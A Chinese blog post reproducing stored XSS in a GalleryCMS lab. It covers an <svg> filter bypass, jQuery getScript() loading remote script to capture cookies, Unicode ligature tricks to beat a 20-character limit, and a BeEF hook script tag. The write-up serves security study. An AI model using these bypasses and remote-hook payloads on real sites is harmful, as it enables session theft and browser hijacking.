当前位置:网站首页>XSS漏洞复现
XSS漏洞复现
2022-08-03 20:58:00 【抱小猫】
目录
第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方
第四步:beef复现GalleryCMS20个字符限制短域名绕过
XSS复现GalleryCMS字符长度限制短域名绕过
我们首先搭建好galleryCMS的服务器。
第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方
可以在数据库中看见我们上传的数据
第二步:我们再测试一下是否可以使用JS代码
在数据库中显示为,这说明对JS代码有限制,导致我们无法进行弹窗
我们查看一下源码,可以发现他对我们做了长度45,且过滤了很多标签等限制
但是从源码中可以看出没有对<svg>标签进行限制,所以我们尝试使用<svg>标签测试是否能绕过
绕过成功:
第三步:使用getScript()函数绕过
我们通过这个页面发现网页使用的是jQuery框架,我们尝试使用getScript()函数绕过试一下。
getScript()函数:使用 AJAX 的 HTTP GET 请求获取和执行 JavaScript。
语法:(selector).getScript(url,success(response,status))
参数 | 描述 |
---|---|
url | 必需。规定将请求发送到哪个 URL。 |
success(response,status) | 可选。规定当请求成功时运行的函数。 额外的参数:
|
我们尝试将<svg>标签和getScript合用一起获取cookie值
我们使用了xss-hunter给系统分配的一个页面,telsm.xss.ht里面有很多获取信息的功能,需要注册并且拥有自定义的xss.ht子域名才可以使用,但是我没有注册域名,所以查看不到获取的消息,但是这样也表示成功了。
第四步:beef复现GalleryCMS20个字符限制短域名绕过
我们将字符最长限制长度改为20个字符,利用beef工具尝试绕过
但是基本的命令都会超过20个字符
由于字符长度限制,如何实现绕过?
1、使用Unicode编码进行编码,Unicode编码有几种特殊字符,如tel在Unicode中仅算一个字符
2、域名重定向-->国内域名重定向需要备案,只能使用国外域名
我们用第一个方法Unicode编码利用特殊字符绕过
- ℠ expands to
sm
- ㏛ expands to
sr
- st expands to
st
- ㎭ expands to
rad
- ℡ expands to
tel
我们先打开beef-xss:
登陆beef的网页端,beef的用户名和密码在/etc/beef-xss/config.yml文件下查看
把hook.js文件内容复制到服务器下的/var/www/html/index.html文件下,因为我没有自己的域名,所以我自能修改配置文件,使用ip进行测试<script src="//192.168.112.131:3000/hoot.js">
成功了
参考资料:
边栏推荐
- 微信小程序 生成跳转体验版url,可直接跳转到体验版小程序(可通过此方法测试模板消息)
- 卷起来!阿里高工携 18 位高级架构师耗时 57 天整合的 1658 页面试总结
- nvm的使用 nodejs版本管理,解决用户名是汉字的问题
- if _name_ == “__main__“:NameError: name ‘_name_‘ is not defined
- 迪赛智慧数——柱状图(多色柱状图):2021年我国城市住户存款排名
- CC2530_ZigBee+华为云IOT:设计一套属于自己的冷链采集系统
- How can a cloud server safely use local AD/LDAP?
- 系统运维系列 之CSV文件读取时内容中包含逗号的处理方法
- leetcode 125. 验证回文串
- 《QDebug 2022年7月》
猜你喜欢
5 款漏洞扫描工具:实用、强力、全面(含开源)
Why BI software can't handle correlation analysis
肝完 Alibaba 这份面试通关宝典,我成功拿下今年第 15 个 Offer
《富爸爸,穷爸爸》思维导图和学习笔记
Abs (), fabs () and LABS ()
2022年强网杯rcefile wp
MapReduce介绍及执行过程
卷起来!阿里高工携 18 位高级架构师耗时 57 天整合的 1658 页面试总结
How can a cloud server safely use local AD/LDAP?
迪赛智慧数——柱状图(多色柱状图):2021年我国城市住户存款排名
随机推荐
CheckBox列表项选中动画js特效
Android build error: Plugin with id ‘kotlin-android‘ not found.
leetcode 326. Powers of 3
canvas螺旋动画js特效
通关剑指 Offer——剑指 Offer II 009. 乘积小于 K 的子数组
From September 1st, my country has granted zero-tariff treatment to 98% of tax items from 16 countries including Togo
leetcode 268. 丢失的数字(异或!!)
在树莓派上搭建属于自己的网页(3)
leetcode 072. 求平方根
leetcode 899. 有序队列
idea2021配置svn报错Cannot run program “svn“ (in directory “xxx“):CreateProcess error=2,系统找不到指定的文件
力扣707-设计链表——链表
图神经网络怎么入门?一文带你了解图神经网络入门路径-GNN入门
glusterfs build and use
leetcode 231. Powers of 2
深度学习怎么入门?零基础快速入门深度学习
chartjs自定义柱状图插件
不专业面试官的经验总结
YARN功能介绍、交互流程及调度策略
leetcode refers to Offer 58 - II. Left Rotate String